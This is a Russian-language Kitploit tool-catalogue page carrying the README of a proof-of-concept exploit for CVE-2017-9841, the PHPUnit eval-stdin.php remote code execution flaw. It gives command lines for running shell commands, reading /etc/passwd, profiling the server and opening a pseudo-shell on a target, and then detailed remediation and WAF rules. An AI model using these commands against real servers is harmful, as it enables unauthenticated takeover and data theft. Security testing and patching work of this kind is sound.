Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2. | Kitploit
Инструменты/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2.

Репозиторий
284 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-9841 — PHPUnit Удаленное выполнение кода (RCE) PoC

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен исключительно для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несет ответственности за любое неправомерное использование этого инструмента.


Обзор

CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2.

Уязвимость существует в src/Util/PHP/eval-stdin.php, который выполняет PHP-код, полученный через php://input (тело POST-запроса), с помощью функции eval(). Если этот файл общедоступен (например, в незащищенной директории vendor/), злоумышленник может выполнить произвольный PHP-код на сервере без аутентификации.

Детали уязвимости

ПолеЗначение
Идентификатор CVECVE-2017-9841
Оценка CVSS9.8 (Критический)
Затронутые версииPHPUnit < 5.6.3, 6.x < 6.4.2
ТипУдаленное выполнение кода (RCE)
АутентификацияНе требуется
ВекторСеть (удаленный)
Опубликовано27 июня 2017 г.
СсылкаNVD

Уязвимый код

// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Этот файл принимает PHP-код из тела POST-запроса и немедленно выполняет его через eval() без какой-либо аутентификации или проверки.


Установка

Требования

  • Python 3.6+
  • Библиотека requests
pip install requests

Настройка

git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Использование

Базовый синтаксис

python3 poc_cve-2017-9841.py -u <URL> [options]

Флаг -u принимает как базовый URL (автоматически добавляет уязвимый путь), так и полный URL, указывающий непосредственно на eval-stdin.php.

1. Проверка уязвимости (без выполнения команд)

python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Output:

[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Выполнение команд

# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Информация о сервере (только чтение)

python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Output:

=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Интерактивный псевдо-шелл

python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Output:

[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Автоматический поиск уязвимого пути

python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Пользовательский путь

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. Полный URL к eval-stdin.php

python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Выполнение необработанного PHP-кода

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Справочник опций

ФлагОписание
-u, --url URLЦелевой базовый URL или полный URL к eval-stdin.php
-c, --cmd CMDКоманда CLI для выполнения на целевом сервере
--checkПроверить, уязвим ли целевой сервер, без выполнения команд
--shellОткрыть псевдо-интерактивный шелл
--infoСобрать информацию о сервере (только чтение)
--find-pathСканировать распространённые пути для поиска eval-stdin.php
--path PATHУказать пользовательский путь к eval-stdin.php
--timeout NТайм-аут запроса в секундах (по умолчанию: 30)
-o, --output FILEСохранить вывод команды в файл
--php CODEВыполнить необработанный PHP-код вместо системных команд

Устранение уязвимости

Немедленные действия (сделайте это СЕЙЧАС)

1. Удалите уязвимый файл

sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Заблокируйте доступ к директории vendor

Добавьте файл .htaccess внутри директории vendor/:

# /path/to/project/vendor/.htaccess
Deny from all

Или настройте в Apache VirtualHost:

<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Для Nginx:

location /vendor/ {
    deny all;
    return 403;
}

3. Удалите зависимости разработки из продакшена

cd /path/to/project
composer install --no-dev --optimize-autoloader

Краткосрочное усиление защиты

4. Включите disable_functions в php.ini

; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Включите open_basedir

; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. Уменьшите max_execution_time

max_execution_time = 30

7. Перезапустите PHP-FPM

sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

Долгосрочное усиление защиты

8. Обновите PHPUnit

composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Внедрите правила WAF

Пример для ModSecurity:

SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. Усиление защиты конвейера CI/CD

# Пример: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Схема атаки

Скачать инструмент